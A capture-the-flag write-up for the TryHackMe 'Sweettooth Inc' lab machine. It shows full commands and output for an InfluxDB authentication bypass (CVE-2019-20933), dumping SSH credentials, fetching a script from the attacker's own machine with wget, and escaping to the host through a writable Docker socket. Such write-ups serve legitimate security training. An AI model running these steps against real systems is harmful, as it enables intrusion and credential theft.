Posts TryHackMe Sweettooth Inc
Post
Cancel

TryHackMe Sweettooth Inc

Sweettooth Inc. needs your help to find out how secure their system is!

This is a linux box from TryHackMe.

As with all boxes, we start with an nmap scan.

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
kali@kali:~/Desktop/thm$ nmap -sC -sV -o nmap.scan 10.10.182.126
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-23 23:07 EDT
Nmap scan report for 10.10.182.126
Host is up (0.16s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
111/tcp  open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          36924/tcp   status
|   100024  1          40358/tcp6  status
|   100024  1          49705/udp   status
|_  100024  1          53765/udp6  status
2222/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)
| ssh-hostkey: 
|   1024 b0:ce:c9:21:65:89:94:52:76:48:ce:d8:c8:fc:d4:ec (DSA)
|   2048 7e:86:88:fe:42:4e:94:48:0a:aa:da:ab:34:61:3c:6e (RSA)
|   256 04:1c:82:f6:a6:74:53:c9:c4:6f:25:37:4c:bf:8b:a8 (ECDSA)
|_  256 49:4b:dc:e6:04:07:b6:d5:ab:c0:b0:a3:42:8e:87:b5 (ED25519)
8086/tcp open  http    InfluxDB http admin 1.3.0
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Three things, rpcbind, ssh, and influxdb. As the TryHackMe page has questions about a database, we look at InfluxDB.

InfluxDB

When going to the webpage we see this:

From the nmap scan, we know this in InfluxDB version 1.3. Let’s look at the documentation for this (as there is an HTTP server running):

https://docs.influxdata.com/influxdb/v1.3/tools/api/

There are a few endpoints:

Visiting /debug/requests leaks what appears to be a username making queries.

We get the username o5yY6yya.

/query and /write both require authentication, and we only have a username.

Researching vulnerabilities for InfluxDB, we find a vulnerability where we can bypass authentication given we know a username - CVE-2019-20933.

CVE-2019-20933

A quick google search leads us to some exploit code on Github: https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933

Looking at the code, it appears to bruteforce usernames given a wordlist, then drops into a scuffed “shell” to interact with the db.

Let’s run the exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
kali@kali:~/Desktop/thm/sweettoothinc/InfluxDB-Exploit-CVE-2019-20933$ echo "o5yY6yya" > username.txt
kali@kali:~/Desktop/thm/sweettoothinc/InfluxDB-Exploit-CVE-2019-20933$ python3 __main__.py 
  _____        __ _            _____  ____    ______            _       _ _   
 |_   _|      / _| |          |  __ \|  _ \  |  ____|          | |     (_) |                                     
   | |  _ __ | |_| |_   ___  __ |  | | |_) | | |__  __  ___ __ | | ___  _| |_                                    
   | | | '_ \|  _| | | | \ \/ / |  | |  _ <  |  __| \ \/ / '_ \| |/ _ \| | __|                                   
  _| |_| | | | | | | |_| |>  <| |__| | |_) | | |____ >  <| |_) | | (_) | | |_                                    
 |_____|_| |_|_| |_|\__,_/_/\_\_____/|____/  |______/_/\_\ .__/|_|\___/|_|\__|                                   
                                                         | |                                                     
                                                         |_|                                                     
CVE-2019-20933

Insert ip host (default localhost): 10.10.114.8
Insert port (default 8086): 
Insert influxdb user (wordlist path to bruteforce username): username.txt

Start username bruteforce
[v] o5yY6yya

Host vulnerable !!!
Databases list:

1) creds
2) docker
3) tanks
4) mixer
5) _internal

Insert database name (exit to close): 

I wasn’t sure how InfluxDB works, so I followed the official schema guide: https://docs.influxdata.com/influxdb/v1.8/query_language/explore-schema/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Insert database name (exit to close): creds
[creds] Insert query (exit to change db): show series
{
    "results": [
        {
            "series": [
                {
                    "columns": [
                        "key"
                    ],
                    "values": [
                        [
                            "ssh,user=uzJk6Ry98d8C"
                        ]
                    ]
                }
            ],
            "statement_id": 0
        }
    ]
}

Ok, so it looks like there are two values, a username and something related to ssh.

I’m thinking of ssh like a table. Let’s look at the keys/columns:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[creds] Insert query (exit to change db): show field keys from "ssh"
{
    "results": [
        {
            "series": [
                {
                    "columns": [
                        "fieldKey",
                        "fieldType"
                    ],
                    "name": "ssh",
                    "values": [
                        [
                            "pw",
                            "float"
                        ]
                    ]
                }
            ],
            "statement_id": 0
        }
    ]
}

Ok nice, there is a password. Let’s grab it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[creds] Insert query (exit to change db): select pw from ssh
{
    "results": [
        {
            "series": [
                {
                    "columns": [
                        "time",
                        "pw"
                    ],
                    "name": "ssh",
                    "values": [
                        [
                            "2021-05-16T12:00:00Z",
                            REDACTED
                        ]
                    ]
                }
            ],
            "statement_id": 0
        }
    ]
}

And we get creds we can SSH with:

uzJk6Ry98d8C:REDACTED

Getting User

Remember SSH is listening on port 2222:

1
2
3
4
5
6
7
8
9
10
kali@kali:~/Desktop/thm/sweettoothinc/InfluxDB-Exploit-CVE-2019-20933$ ssh -p 2222 uzJk6Ry98d8C@10.10.114.8
uzJk6Ry98d8C@10.10.114.8's password: 

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
uzJk6Ry98d8C@575d68b41bfa:~$ 

And we can print out the user flag:

1
2
3
4
5
uzJk6Ry98d8C@575d68b41bfa:~$ ls
data  meta.db  user.txt  wal
uzJk6Ry98d8C@575d68b41bfa:~$ cat user.txt
THM{REDACTED}
uzJk6Ry98d8C@575d68b41bfa:~$ 

PrivEsc

I transferred linpeas to the machine using python3’s http.server module:

My Machine:

1
2
kali@kali:/opt$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Victim Machine:

1
2
3
4
5
6
7
8
9
10
11
12
13
uzJk6Ry98d8C@575d68b41bfa:~$ wget 10.8.203.189:8000/linpeas.sh
converted 'http://10.8.203.189:8000/linpeas.sh' (ANSI_X3.4-1968) -> 'http://10.8.203.189:8000/linpeas.sh' (UTF-8)
--2021-07-28 15:58:30--  http://10.8.203.189:8000/linpeas.sh
Connecting to 10.8.203.189:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 462687 (452K) [text/x-sh]
Saving to: 'linpeas.sh'

linpeas.sh                   100%[=============================================>] 451.84K   530KB/s   in 0.9s   

2021-07-28 15:58:31 (530 KB/s) - 'linpeas.sh' saved [462687/462687]

uzJk6Ry98d8C@575d68b41bfa:~$ 

Here’s a few parts that stick out to me.

Machine is vulnerable to kernel exploits:

1
2
3
4
════════════════════════════════════╣ System Information ╠════════════════════════════════════
╔══════════╣ Operative system                                                                                    
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#kernel-exploits                                    
Linux version 3.16.0-11-amd64 (debian-kernel@lists.debian.org) (gcc version 4.9.2 (Debian 4.9.2-10+deb8u2) ) #1 SMP Debian 3.16.84-1 (2020-06-09)

We are in a Docker container and we can write to the Docker socket:

1
2
3
4
5
6
7
8
════════════════════════════════════╣ Containers ╠════════════════════════════════════
╔══════════╣ Container related tools present                                                                     
╔══════════╣ Container details                                                                                   
═╣ Is this a container? ........... docker═╣ Any running containers? ........ No                                 
╔══════════╣ Docker Container details                                                                            
═╣ Am I inside Docker group ....... No                                                                           
═╣ Looking and enumerating Docker Sockets
You have write permissions over Docker socket /run/docker.sock

As the challenge asks for two different root flags and we know that we are inside a container, it is clear that we should exploit that something that will allow us to escape/read the host file system, so I decide to use the fact that I can write to the docker socket over the ability to utilize kernel exploit.

There are some one-liner commands that would allow us to mount the filesystem of a container we spin up, however there are two problems with these:

1: We don’t have access to the docker binary so we cannot communicate directly. 2: The best alternative we have is curl, however the version of curl installed is so old that we cannot use --unix-socket to communicate with the socket.

Because of this, I opted to go with another option: forward the docker socket over SSH. This would allow me to use my local docker binaries/locally installed curl.

I found this blog post detailing how to do this: https://blog.ruanbekker.com/blog/2018/04/30/forwarding-the-docker-socket-via-a-ssh-tunnel-to-execute-docker-commands-locally/

The following commands are done on my machine:

I modified the command given in the linked article a little bit to fit my needs:

1
ssh -oStrictHostKeyChecking=no -oUserKnownHostsFile=/dev/null -NL localhost:2377:/var/run/docker.sock -p 2222 uzJk6Ry98d8C@10.10.114.8

Opening up another terminal, we can verify this worked:

1
2
3
4
5
6
7
kali@kali:~$ netstat -tulpn
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:2377          0.0.0.0:*               LISTEN      4137/ssh            
tcp6       0      0 ::1:2377                :::*                    LISTEN      4137/ssh            

Let’s tell my local docker binary to point to this forwarded socket:

1
kali@kali:~$ export DOCKER_HOST="localhost:2377"

Now let’s check which containers are running:

1
2
3
kali@kali:~$ docker ps
CONTAINER ID   IMAGE                  COMMAND                  CREATED          STATUS          PORTS                                          NAMES
575d68b41bfa   sweettoothinc:latest   "/bin/bash -c 'chmod…"   42 minutes ago   Up 42 minutes   0.0.0.0:8086->8086/tcp, 0.0.0.0:2222->22/tcp   sweettoothinc

Let’s get a shell on this:

1
2
kali@kali:~$ docker exec -it 575d68b41bfa /bin/bash
root@575d68b41bfa:/# 

Aaand we have root on the container! Let’s grab the root flag:

1
2
3
root@575d68b41bfa:/# cat /root/root.txt
THM{REDACTED}
root@575d68b41bfa:/# 

Escape/Root on Host

Now let’s try to escape.

Looking at the HackTricks page for docker escapes, if we have the docker binary we can mount the root filesystem using the following command:

1
2
#Run the image mounting the host disk and chroot on it
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash

The problem with this is that we cannot connect to the internet to download what is needed to spin up an ubuntu container. Because of this, we have to change it to an image we have locally.

Let’s see what we can work with:

1
2
3
4
kali@kali:~$ docker images
REPOSITORY      TAG       IMAGE ID       CREATED        SIZE
sweettoothinc   latest    26a697c0d00f   2 months ago   359MB
influxdb        1.3.0     e1b5eda429c3   4 years ago    227MB

We can spin up another sweettoothinc image, which we know is an older version of Debian (which is fine for what we need).

Let’s do this:

1
docker run -v /:/mnt --rm -it sweettoothinc chroot /mnt sh

It starts but I’m not dropped into a shell, I’m dropped into some kind of logging output. Opening up another terminal on my host machine, I set the environment variable again to tell the docker binary to point to the forwarded socket and get a shell on the container we just started:

1
2
3
4
5
6
kali@kali:~$ docker ps
CONTAINER ID   IMAGE                  COMMAND                  CREATED              STATUS              PORTS                                          NAMES
c679d31ea25c   sweettoothinc          "/bin/bash -c 'chmod…"   About a minute ago   Up About a minute   8086/tcp                                       serene_leakey
575d68b41bfa   sweettoothinc:latest   "/bin/bash -c 'chmod…"   48 minutes ago       Up About an hour    0.0.0.0:8086->8086/tcp, 0.0.0.0:2222->22/tcp   sweettoothinc
kali@kali:~$ docker exec -it c679d31ea25c /bin/bash
root@c679d31ea25c:/# 

And we can grab the root flag on the host machine!

1
2
3
4
5
6
7
root@c679d31ea25c:/# cd /mnt
root@c679d31ea25c:/mnt# ls
bin   dev  home        initrd.img.old  lib64       media  opt   root  sbin  sys  usr  vmlinuz
boot  etc  initrd.img  lib             lost+found  mnt    proc  run   srv   tmp  var  vmlinuz.old
root@c679d31ea25c:/mnt# cat /mnt/root/root.txt
THM{REDACTED}
root@c679d31ea25c:/mnt# 
This post is licensed under CC BY 4.0